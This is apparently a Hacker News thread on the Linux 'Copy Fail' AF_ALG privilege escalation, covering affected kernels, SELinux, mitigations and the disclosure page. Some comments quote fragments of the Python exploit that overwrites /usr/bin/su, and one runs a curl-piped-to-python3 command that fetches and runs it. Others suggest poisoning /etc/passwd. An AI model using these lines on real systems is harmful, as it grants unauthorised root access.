AOSP and GrapheneOS have a small allowlist of socket types in the SELinux policies preventing using AF_ALG outside of the dumpstate service used to gather system wide debugging information for bug report zips. It's not available as attack surface on AOSP-based operating systems in practice.
The vulnerability also isn't present in standard AOSP GKI kernels (including the stock Pixel OS) or GrapheneOS kernels since they use a minimal kernel with tons of functionality disabled. Other OEMs may enable it but SELinux policy won't permit accessing it. OEMs can weaken SELinux policy but they're restricted by the neverallow rules which disallow permitting apps to access a list of non-standard socket types including AF_ALG.
That would only work if the user had access to a binary that they wanted to run as root. Ideally this shouldn’t happen at all for most users. There is almost never a legitimate reason to run any program as root unless for example it is a service that absolutely requires it. In Fedora based distributions SELinux also prevents systemd from running any binaries or scripts that the user has access to as root. Removing setuid binaries and strictly limiting features like user namespaces through SELinux would make Linux significantly more secure. It’s absolutely ridiculous that even an outdated Android smartphone is more secure than the average Linux distribution these days.
Yeah. The whole Linux security model seems like it was designed centuries ago. Your permissions are supposed to derive from the authority granted to you at the time of your invocation, and from those with the existing authority to grant/delegate them... not from your lineage, name, possessions, or status at birth. I find it kind of funny that generations of *nix engineers appear to have perpetually struggled with this concept. For all the hate it gets, Windows got this part fundamentally right.
AOSP not permitting setuid/setgid binaries is certainly useful attack surface reduction but isn't how it blocks exploiting this vulnerability. It blocks it via SELinux policy having allowlists for socket types which don't permit AF_ALG to be used outside of the dumpstate service.
The vulnerability also isn't present in standard AOSP GKI kernels (including the stock Pixel OS) or GrapheneOS kernels since they use a minimal kernel with tons of functionality disabled.
Kernel attack surface is mainly done via SELinux policies on AOSP including ioctl command allowlists per device type such as permitted GPU driver ioctl commands, io_uring only being permitted for a few core processes and much more. AOSP uses seccomp-bpf for apps, etc. too but it's mainly SELinux doing kernel attack surface reduction in practice.
This has frustratingly low information density for a technical writeup. The LLM output on the marketing page is whatever, but here it really feels like my time isn’t being respected.
As of this comment, Debian Stable ("Trixie", though I hate codenames) doesn't have a fix in place and remains vulnerable, or at least their CVE tracker shows it as such:
I choose not to call it Debian 13 because that carries less context than Stable/Testing/sid. I'd rather not require the user to maintain that extra metnal mapping.
Anyone who knows anything about this subject immediately understands what is connoted by "Debian Stable". I run Trixie on most of my personal boxes and I had no idea what version number it is, nor do I particularly care.
A workaround might be to make all setuid/setgid files non-world-readable because then they cannot be opened at all, and thus there is no setuid file to replace the contents of.
Fair enough -- a simpler change might be to poison /etc/passwd and call `su` to a user that has uid 0, since that requires no shell code nor a readable binary, and this seems to have worked in a slightly modified POC:
It being readable is the default configuration most places, after all the purpose is to call it from a non-privileged user. But I could see it being made non-readable since its use is discouraged nowadays... though then I'd expect sudo to be readable as an alternative.
Everything MAY be a criminal offense. Whether it has any merit is another matter.
If I were accused of anything criminal for running this in a host, my defense would be that I was checking the safety of a service I was being offered. If the service was vulnerable, I would counterclaim, if you are on the defense you are already losing.
You understand there's a difference between how the law is, and how you think it should be, right? Only one of those things will actually help you in court.
It probably depends more on the facts than the law.
Whether local access to a system was lawfully granted, whether the af alg module was probed, whether page cache in memory was corrupted, whether su binary on disk was modified, whether other users could access su after the intervention, what the terms of services were. Whether information from other users was accessed, whether the server is private or government related, whether the vuln was actually present, what actions were taken in notifying the server owner if the vuln was present etc..
To claim that X is illegal without regard for any of these variable facts is unlikely to hold generally.
Additionally, as a plaintiff I would be looking at a civil claim, so that would be my concern when evaluating defendant liabilities as well.
I also tested this on an Ubuntu 24.04 (x86_64) host w/ GA kernel ("6.8.0-103-generic #103-Ubuntu SMP PREEMPT_DYNAMIC Tue Feb 10 13:34:59 UTC 2026 x86_64 GNU/Linux") and wasn't able to reproduce the "problem", although `canonical-livepatch` tells me that there are currently "no livepatches available".
Oddly, the POC doesn't work on my Debian 12 (Bookworm) EC2 instance. Everything that should indicate it's vulnerable is there, including the ability to socket(38,5,0).bind("aead", "authencesn(hmac(sha256),cbc(aes))")
Not the OP, but I've tried it on Debian 12 and kernel 6.1.0-34-amd64 is vulnerable (ie. the exploit works) but 6.1.0-42-amd64 and 6.1.0-44-amd64 seem to be immune, at least for me. I have only tested the exploit as-is (with su). I do see from other comment theads here that someone had it work for them on 6.1.0-43, but I can't yet find that kernel installed anywhere here to verify.
I couldn't get the POC to work with my version of Python so I had ChatGPT convert it to C [0] and was able to verify my Slackware system does not appear to be affected, but my NixOS system would be if I had any world-readable suid binaries (which I had to make one to test it).
If this is verified, this is a very big deal. Root access on any shared computer. Additionally do we know what kernel versions and stable versions have the patch?
14.3 seems to come from some Red Hat-specific GCC version, which can be reported as "gcc (GCC) 14.3.1 20250617 (Red Hat 14.3.1-2)". See these random examples I found by googling:
On the same line it says kernel version 6.12.0-124.45.1.el10_1. Which is RHEL 10. This is the kind of typo that humans make -- the hard to type numbers are accurate because they're cut and pasted, but the "easy" numbers have errors because they're not cut and pasted.
ugh sorry should be fixed. There was some scrambling to get more info together to explain the issue (and yes, obviously marketing), so there are some minor mistakes. Thanks for pointing it out!
Hope the 'marketing' had the desired effect. This entire article of pure AI noise was an absolute slog to get through to get to useful information. I have no idea how you view that as positive advertising.
I don't quibble with your wanting to make money, but you also need to invest some resources on fact-checking, proofreading, and editing your work. You can hire technical writers and marketing copy editors on an hourly basis as needed. LLMs aren't good enough yet to produce high-quality output on their own; and the results tend to read similarly, loaded with clichés and identical turns of phrase.
(You're not alone in this, BTW; I don't mean to single you out.)
I would rather people who find this kind of stuff pad their resumes and get coolness points on HN than sell this exploit on the black market. But your priorities may be different and you might prefer they do the latter.
The fact that they have no idea RHEL 14, probably the most well known enterprise distro, is not a thing, and yet they "directly verified on it" casts some doubt on seriousness.
I don't know what to tell you. I'm sure you have them dead to rights on Linux distro knowledge reliability, but the exploit here is real, and the vulnerability researchers they have on staff are also real. Xint is not generally a slop factory.
It's ironic that the one thing LLMs can't do reliably in this space is "write copy for humans" (I don't trust them for that either).
Honestly I feel like a coding agent review would have caught this issue. I guess if you want to vibe-code your branded CVE web site it's not a bad idea to at least mash /review at the end.
Kind of funny to do something impressive and then ignore the details on the presentation, but perhaps that's not uncommon for security researchers?
I don’t know if “cool” is the word I’d use, but there isn’t an established “right” way to disclose a vulnerability that you found outside of a contracted security review or other employment/contracting arrangement.
I rewrote it quickly to C [1] (and changed the embedded binary to be aarch64).
Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.
Putting it out here, maybe somebody else will have better luck.
Update: Checking the kernel config indeed confirms this.
adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_USER_API_AEAD is not set
File "/data/data/com.termux/files/home/a.py", line 5, in c
a=s.socket(38,5,0); # ...
File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
PermissionError: [Errno 13] Permission denied
I got line 5 to run and failed on line 8 due to lack of su. I'd need to find a user accessible setuid binary for it to work.
Traceback (most recent call last):
File "/data/data/com.termux/files/home/exploit.py", line 8, in <module>
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
Now the socket is blocked. Also probably should have realized the socket is defined earlier than its called
Traceback (most recent call last):
File "/data/data/com.termux/files/home/exploit.py", line 9, in <module>
while i<len(e):c(f,i,e[i:i+4]);i+=4
^^^^^^^^^^^^^^^
File "/data/data/com.termux/files/home/exploit.py", line 5, in c
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
^^^^^^^^^^^^^^^^
File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 13] Permission denied
(HN algorithms have killed some of your comments, perhaps because you posted the same URL too many times from a relatively new account? I’ve vouched for you, but keep in mind that it triggers antispam.)
You don't need a suit binary for this, they have arbitrary write of memory. The suid binary is just a convenient and portable way to demonstrate it. Real exploits will use many different mechanisms.
System partitions being non-writable has nothing to do with the vulnerability - it allows modifying the cache of any file that you can open for reading.
Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".
But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).
Its not writing to the partition though is it? It is polluting the cache page via a write with a buffer overrun in the kernel. I don't think buffer overruns follow permissions.
The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a real failure modality.
Looking at their source code [1] it starts with this simple line:
import os as g,zlib,socket as s
And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
Anyway, I could go on. :) Let's just stop fetishizing byte count
Hilariously, "os as g" adds one more byte than it saves, since os is only used 4 times but the alias takes 5 extra bytes to save 4. And "socket as s" comes out even.
If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.
We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.
I don't get the 732-byte thing either and while I think it's a relatively punchy and unusually informative landing page for named vulnerability there are little snags like this all over it.
But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.
yeah... definitely a bit of a rush to get the landing page out after a long time in the disclosure process. The folks putting this all together have been working like mad (finding the bug, disclosing, working a lot on patching, writing up POCs and verifying exploitability in different scenarios) and stayed up really late to finish up the landing page, which led to a lot of minor issues.
But the bug is real and people should patch :)
For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")
I don't see it as fetishizing byte count. I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. They could just as well have said "we can do it in 3 lines of python" or "the Shannon entropy of the script implementing the exploit is really small" and I would have interpreted it similarly.
Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.
> I think of it as a proxy measure for how complicated or uncomplicated the exploit might be.
From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.
And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.
Again, I think the point is that compressed size is a reasonable measure of the inherent complexity of a program. I'm a crap mathematician, but I believe that is a fundamental concept in information theory.
If you have a choice between posting minimized exploit code, and posting regular exploit code, posting minimized code is virtually always the wrong choice.
If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.
In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.
How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).
It would have been less work for everyone involved to just release the unminified source.
While not formally reviewing code like this, I read a lot of it for fun. When it's clear and understandable, it's more educational and enjoyable. If the PoC code can also serve as a means of communication, that seems like an extra win.
I started to take the exploit script apart and reformat it to be something readable. At about 1041 bytes it's actually readable. The heart of it also includes an encoded zlib compressed blob that's 180 bytes long ('78daab77...'). This is decompressed (zlib.decompress(d(BLOB)) to a 160 byte ELF header.
While I agree that it doesn't make much sense to use a minimizer on code the reader could understand, the code-golfed byte count of a CVE repro communicates its complexity in a certain visceral way.
You're supposed to add "as a senior engineer" so we know you're 3 years out of bootcamp and can program in 1.25 languages. Or "as a staff..." if you've given an interview, know what 'make' is ("it's a command!") and are willing to do absolutely anything for the CTO.
Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?
>As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
lucky for them, its an exploit script, not enterprise code.
all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.
edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming
It's just sloppy. Readers are human, and little mistakes like this take away from the article. Then you add a nonexistent RHEL version, and it just isn't a good look. Which is a shame, because it's otherwise a very interesting vuln.
Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.
i just dont understand huffing and puffing over "os as g" in a 10-line poc script, and saying "well i would never approve this". its not enterprise code. its not code that will ever be used anywhere else, for anything. its sole purpose is to prove that the exploit is real, which it does!
the rest of the information is in the actual vulnerability report. the poc is a courtesy to the reportee, so that they can confirm that the report itself isnt bullshit.
evidently, given the downvotes i am getting, people think exploit scripts should be enterprise quality code. ¯\_(ツ)_/¯ half of the reports i see flowing through mailing lists dont even have a poc.
amazingly HN-like to be upset about a variable name
>Disagree because to run the PoC you really ought to understand what it’s doing.
that is contained in the report, which will look similar to the blog. the maintainers will have an open line of contact with the reporters as well. the poc is a small part of the entire report. its not like the linux maintainers only received this poc and have to work out the vulnerability from it alone.
>It is failing at letting people confirm the exploit easily.
it confirms the exploit incredibly easy. just run it, and you get confirmation.
go ahead and explain your point, rather than be cryptic, if you you want to have an actual conversation about it.
you said "I need to know what the code does before I run it.".
you know its an LPE. the mechanisms of the exploit are fully explained. what more do you need to know? please imagine yourself in the position of the kernel security team who would have received this poc in the first place when you answer, because that is the intended context of the poc.
if you think the kernel security team is going to get tripped up over "os as g", you have a crazy low view of the team.
I don't anyone is saying it's not "enterprise" it's just that they clearly went out of their way to make it less readable. By all means advertise the golf'd line count but just have the non minified script.
> CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!
It's certainly marketing, but it's prosocial: there's no scarcity of names, and "copy.fail" is much easier to remember and talk about than "CVE-2026-31431".
Probably to some extent it is marketing, but generally it has to do with significant bug finds to get the message out to the people who need to apply patches and/or be informed. Heartbleed, Log4Shell, etc.
Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.
Giving catchy names for bad exploits has been a thing for a while. Probably to make sure it's easy to reference and make sure you're patches as opposed to passing numbers around. Heartbleed, Shellshock, BEAST, Goto Fail, etc
Tried this on my arch VPS which has a few users that hasn't been rebooted for 122 days.
Got:
OSError: [Errno 97] Address family not supported by protocol
I guess AF_ALG is not part of the Arch Linux LTS kernel?
Edit:
Looks like on Arch you have to go out of your way to have this enabled.
$ zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
CONFIG_CRYPTO_USER_API=m
CONFIG_CRYPTO_USER_API_HASH=m
CONFIG_CRYPTO_USER_API_SKCIPHER=m
CONFIG_CRYPTO_USER_API_RNG=m
# CONFIG_CRYPTO_USER_API_RNG_CAVP is not set
CONFIG_CRYPTO_USER_API_AEAD=m
# CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set
$ uname -r
6.12.63-1-lts
Yeah I think maybe it loads the module on demand. The problem is I've upgraded my kernel many times in the last 122 days which wipes out the running or last installed kernel modules directory. I'm guessing if I had my running kernel modules directory it would on demand load and I'd get root.
Note that in kubernetes, setting `allowPrivilegeEscalation` to false (which you should be doing already, it's in the Pod Security Standards Restricted profile) mitigates this.
allowPrivilegeEscalation is unrelated to user namespaces. Many vendors do not yet have kernel patches available, but yes that'll eventually be the proper fix.
It's equivalent to setting no_new_privs on the container process, so it'd mean you have to grant a privelege to the container process if you want any children to have access to it. It sure sounds funny in a CVE context, though.
curl https://copy.fail/exp | python3 && su
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
AttributeError: module 'os' has no attribute 'splice'
Does this mean I'm not affected or it's a buggy script?
Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!
Why do you suppose Joanna Rutkowska made a point of calling Qubes OS "reasonably secure", rather than making claims like, "Qubes is not vulnerable" and "there is no attack vector"?
You know that Xen is just a hypervisor right? Dom0 (the admin Qube) is running the Linux kernel and is vulnerable like any other Linux system. DomU (App Qubes) also run the Linux kernel and are just as vulnerable.
> DomU (App Qubes) also run the Linux kernel and are just as vulnerable.
I think you misinterpret the Qubes approach to security. If you do everything in one VM, you get no protection from the virtualization. Moreover, there is no sudo password by design: https://doc.qubes-os.org/en/r4.3/user/security-in-qubes/vm-s... This is not how to use Qubes.
You need to compartmentalize your workflows. It doesn't matter if my disposable VM is compromised. My secrets are in another, offline VM, where I never run anything. There is no way to use the discussed vulnerability, if one uses Qubes according to docs. See examples here: https://doc.qubes-os.org/en/latest/user/how-to-guides/how-to...
So, not being vulnerable is dependent on not doing something that can make you vulnerable? That doesn't seem right. If you can do something to make yourself vulnerable, you are vulnerable.
RedHat states "This could lead to data integrity issues or unexpected behavior during cryptographic operations, impacting the reliability of encrypted communications for local users." as the impact.
To be completely fair, any kind of sandboxing inside of Qubes's VMs do not mean much, because it is on X11. Any app can pwn any other app lol.
With that being said, yeah, he's being disingenuous as per usual for sure. Part of Qubes hardening is trying to not allowing an attacker to gain root to make it harder to attack Xen, but our evangelist here claims it doesn't matter if an attacker has root :)
> So, not being vulnerable is dependent on not doing something that can make you vulnerable? That doesn't seem right. If you can do something to make yourself vulnerable, you are vulnerable.
On the one hand, you are right, and I rather meant "not exploitable", since technically the vulnerability is still there. On the other hand, yes, any security does rely on you not doing something stupid like "curl | sudo bash".
> "In-VM attack only". That's disingenuous.
It's really not. Hardening of guest OSes is out of scope of Qubes. You are supposed to not combine trusted and untrusted actions in a single VM, so intra-VM security is really secondary. I really recommend you to read my link about organizing the workflows.
You have a good point concerning the integrity issues though.
> On the one hand, you are right, and I rather meant "not exploitable", since technically the vulnerability is still there.
And I'm fine with that. I think, the Qubes OS notices should use that terminology as well. Though, some of the vulnerabilities are exploitable, if you don't follow the Qubes OS guides to the T.
For agents, if you are concerned about that, block access to "su" as it is interactive anyway. Not loading it into the memory will block the attack. If you are using AgentSH (https://www.agentsh.org) you can add a rule to block "su" and soon be able to block AF_ALG sockets if you want to further protect things.
This vulnerability can affect any file you can read. The PoC uses "su" but any setuid binary or any binary that root invokes or is already running as root is vulnerable, as well as many configuration files.
> Any setuid-root binary readable by the user works.
Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.
I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.
Looks like a LLM hallucination - there is no thing like "RHEL 14.3", although referenced kernel signature (6.12.0-124.45.1.el10_1) contains reference to real RHEL release, i.e. 10.1.
I tried this exploit on Android and it looks like you need root in the first place to create an AF_ALG socket. I guess it is an SELinux policy to disable AF_ALG entirely.
> If your kernel was built between 2017 and the patch
This is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you.
> block AF_ALG socket creation via seccomp regardless of patch state.
Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.
Any pointers on how to set that up? Like, run all the things through strace, cut the first field, sort, uniq, run through some template and something somesuch what how?
The vulnerability can also be used on any binary that is already running as root and you can open for reading. So yes, any android app can now escalate to root if android has the vulnerable module.
Fun day for people running bare metal GPU nodes, where teams have been training models for months, and now it must be abruptly aborted to apply security patches... is that something that can be resumed, or do they have to restart from scratch?
I wonder if this is a problem for very old honeypods like the one on turris omnia, sold many years ago.
Docker wasn't a thing these days and everything was done with lcx containers, if at all.
s6-overlay is a popular container image base for many self hosted services, and it uses an suid binary for startup. I wonder if this could be used to escape the container?
So this could be usable in lot of places with Python and Linux running? Not that I have too many Linux devices around. Still, might be handy sometimes on personal devices.
I love how it says
"Standalone PoC. Python 3.10+ stdlib only (os, socket, zlib).
Targets /usr/bin/su by default; pass another setuid binary as argv[1]."
Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.
Wow. I tried it on an old testing VM of Ubuntu 24.04 that had not been touched for a few months. Instant root with the bonus that any user that runs "su" gets root too.
I updated the VM thinking it would be fixed afterward. Nope.
I tried this on NixOS, but it doesn't seem to be easily reproducible. There's no /usr/bin/su - okay, fine: I changed it to /run/wrappers/bin/su, but that didn't work, and I think the reason why is because the NixOS suid wrappers have +x but not +r:
Not that this makes the underlying mechanism of the exploit any better, but I wonder what else you can do with it. Is there a way to target a suid binary that doesn't have +r? I guess all of the suid binaries necessarily don't, since the wrapper system doesn't grant it and you can't have suid binaries in the /nix/store.
I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?
It's the same with Gentoo, setuid binaries are installed without read permission.
But modifying a setuid binary is just the demo exploit that was published with the vulnerability disclosure. The vulnerability actually allows modifying four bytes in any readable file. That means system configuration files, other binaries intended to be run by root, libraries... It's not limited to modifying setuid binaries.
unfortunately the page can also lie to you haha. it seems people have reviewed the code by now, but running suspicious shellcode you don't fully understand is never a great idea.
that's quite smart. i was almost stupid enough to paste it into a terminal to check if it worked before deciding to wait and let others analyze it first haha
Can we just make a one-pager instead of this nonsense LLM bullet pointed list that is explaining this issue to your pointy-haired CEO instead of to sysadmins who understand the badness in 3 lines? Yeesh
2026-03-23Reported to Linux kernel security team
2026-03-24Initial acknowledgment
2026-03-25Patches proposed and reviewed
2026-04-01Patch committed to mainline
2026-04-22CVE-2026-31431 assigned
2026-04-29Public disclosure (https://copy.fail/)
kernel 6.19.14-arch1-1, the kernel in question from the parent comment, has been patched.
the asterisk is my oops, trying to format the comment in italics to differentiate my comment from the text provided by the author. sorry for the confusion
are you sure containerization would be more secure? this is also a rootless podman escape. the lesson here is to not give random people shell access to your systems.
Yet, some people will still continue to say that "AI" isn't ready to replace (or strongly assist) our workflows, sure, some of the best humans devs left a vulnerability that serious (It's extremely serious, so many container as a service are vulnerable) for 9 years and an agent found it in 1 hour, maybe it's time to wake up and accept that it's UNSAFE to not use AI for security review as well?
A human security researcher found the core issue and an agent searched for where to apply it. I don’t think “an agent found it in one hour” is a fair summary of what happened.
"The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class — came from human research by Taeyang Lee at Xint.
From there, Xint Code scaled the audit across the entire crypto/ subsystem in roughly an hour. Copy Fail was the highest-severity finding in the run."
So, if anything, this might argue against the presence of huge quantities of high-severity bugs in this part of the Linux kernel (that could be found by "Xint Code"-class scanning systems).
I was a bit rough, agreed, but the overall point is still correct, I kinda want to emphasize that I've also ran hundred of loops recently (combination of opus-4.6/gpt-5.4/gemini-3.1-pro-preview) toward a Rust codebase that we manage and that we deemed secure after many audits and found 2 serious issues as well in it, this was also audited externally by a third party that we've paid, which makes me genuinely scared of releasing anything without deep AI verification nowadays.
As someone who works on the Linux kernel's cryptography code, the regularly occurring AF_ALG exploits are really frustrating. AF_ALG, which was added to the kernel many years ago without sufficient review, should not exist. It's very complex, and it exposes a massive attack surface to unprivileged userspace programs. And it's almost completely unnecessary, as userspace already has its own cryptography code to use. The kernel's cryptography code is just for in-kernel users (for example, dm-crypt).
The algorithm being used in this exploit, "authencesn", is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en/decryption API.
If you're in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it's already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits.
I don't think there's much other option. This sort of userspace API might have been sort of okay many years ago. But it just doesn't stand up in a world with syzbot, LLM-assisted bug discovery, etc.
As I did not know what AF_ALG is in the first place I've searched for it and found this here:
https://www.chronox.de/libkcapi/html/ch01s02.html
It states the following:
> There are several reasons for AF_ALG:
> * The first and most important item is the access to hardware accelerators and hardware devices whose technical interface can only be accessed from the kernel mode / supervisor state of the processor. Such support cannot be used from user space except through AF_ALG.
> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information from its memory and just use the cipher handle to perform the cryptographic operations. If the application is cracked an attacker cannot obtain the key material.
> * On memory constrained systems like embedded systems, the additional memory footprint of a user space cryptographic library may be too much. As the kernel requires the kernel crypto API to be present, reusing existing code should reduce the memory footprint.
I can't judge whether this is a good justification, but there is one.
AF_ALG if I remember correctly predates userspace-accessible crypto acceleration and was way more important back when it meant you had actual need for "SSL accelerator" cards in servers, among other things
Yes, I remember that time, it was back when I wasn't allowed to know anything about what servers were doing other than to look it up in the internal leak, which was never maintained
*intenral wiki
Hi, embedded firmware engineer here. I give it a B-
There's a weird area between the workloads that fit on a microcontroller, and the stuff that demands a full-blown CPU. Think softcore processors on FPGAs, super tiny MIPS and RISC-V cores on an ASIC, etc. Typically you run something like Yocto on a core like that. Maybe MontaVista or QNX if you've got the right nerd running the show.
So you have serious compute needs, and security concerns that justify virtual memory. But you don't have infinite space to work with, so hardware acceleration is important. Having a standard API built into the kernel seems like a decent idea I guess.
And yet, I've never heard of AF_ALG. I've never seen it used. The thing is, if you have some bizzaro softcore, there's a good chance you also have a bizzaro crypto engine with no upstream kernel driver. If you're going to the trouble of rolling your own kernel with drivers for special crypto engines, why would you bother hooking it into this thing? Roll your own API that fits your needs and doesn't have a gigantic attack surface.
This suggests that it is useful in some niche embedded use- cases, but should probably not be enabled by default on most desktop/server kennels
You should take note that this is written by the person that wrote the bad patch.
So grain of salt.
I've said I'm not sure about the validity of that reasoning.
I've liked it nevertheless for context, as augmentation to parent's post.
I feel like it should be possible to fulfill these advantages with a minimal, not very complex API. I.e. the grandparent's comment about IPsec implementation details doesn't make the cut, but a hardware accelerated cipher implementation does.
A hardware accelerated DMA-capable cipher implementation is an odd thing, and it’s generally not useful on its own. You might want to set up a whole chain of operations (encrypt, checksum, send to network, for example), but I’ve never encountered a case where you actually want to ask an accelerator to asynchronously encrypt application data and return the encrypted data to the application.
Unless you're pushing a ton of extra work into a network-capable accelerator, that sounds exactly like what you'd want for, e.g., an encrypted S3 implementation. You have encryption, RS encoding, striped checksumming, sending fragments to multiple hosts, some sort of potentially interesting partial failure handling, etc.
You could push that all down to the accelerator, but if there are even a few such use cases you might want a dedicated DMA-capable implementation instead.
But is it true or not? Whoever wrote it. (for objective truth the subjects are unimportant)
It might have been true in 2002 but it hasn't been true since at least about 2010.
You've almost certainly never had a system that supported any hardware accelerated crypto that also required a kernel module.
It's much easier to expose as cpu extensions.
When you can’t know the objective truth or when there isn’t one (as is the case in making decisions about security tradeoffs in software design), knowing the source of the argument is vital to interpreting its validity.
I disagree 100%. Software security tradeoffs are definitely the sort of thing where you can evaluate arguments on their merits.
Please don't rely on my judgement for this being safe for production, but after blacklisting the modules, the provided python exploit failed.
Check if the following are modules
If they are, you can try blacklisting them Can anyone comment on the ramifications this?If iwd, or cryptsetup with certain non-default algorithms, isn't being used on the system, you should be fine. Not many programs use AF_ALG. It's possible there are others I'm not aware of, but it's quite rare.
To be clear, general-purpose Linux distros generally can't disable these kconfig options yet, due to these cases. But there are many Linux systems that simply don't need this functionality.
A good project for someone to work on would be to fix iwd and cryptsetup to always use userspace crypto, as they should.
is CONFIG_CRYPTO_USER_API needed for hw acceleration for cryptsetup (dm-crypt) disk encryption ?
No, dm-crypt just calls the kernel's crypto code directly.
I can’t comment on the ramifications, except to note that elsewhere in the thread this appears to not break anything (whether it makes userspace crypto a little less safe is academic, but that doesn’t matter if we have an easy local root shell), but I can verify the above fix does protect Ubuntu 24.04 from the exploit.
Just reboot after applying this change.
Or
Is it built as a module in most distros?
It is built as a module in Debian.
lsmod shows it is not loaded on any of the Trixie or Bookworm machines I have checked, Intel or AMD.
FYI it's dynamically loaded on demand, so lsmod will show it after you try run the exploit, or you can explicitly load it with:
The following mitigation (from the article) does work for Debian 12 and 13, I've tested this: First line blocks it from loading, second line is unloading it if it's already been loaded. You can test with the same "modprobe algif_aead".The point of noting whether it is loaded on their machine or not, is presumably to indicate that it is not normally loaded (for them), so disabling it to block the exploit should have no impact (for them).
It was loaded on my Ubuntu system so I wonder what used it.
As I understands any program code can use that socket to write to page cache memory and modify any main program. Even php code can be written for that. So it is serious problem if there is other security hole on web server.
over 500 servers with very varied workload i manage didn't had this module loaded so my guess is "near zero"
also only algif_aead is vulnerable
For anyone wondering: AF_ALG is a Linux socket interface that exposes the kernel’s crypto API via file descriptors, using normal read(2)/write(2) calls for hashing and encryption.
I wonder can the kernel just remove it and distros put on a compatiability layer.
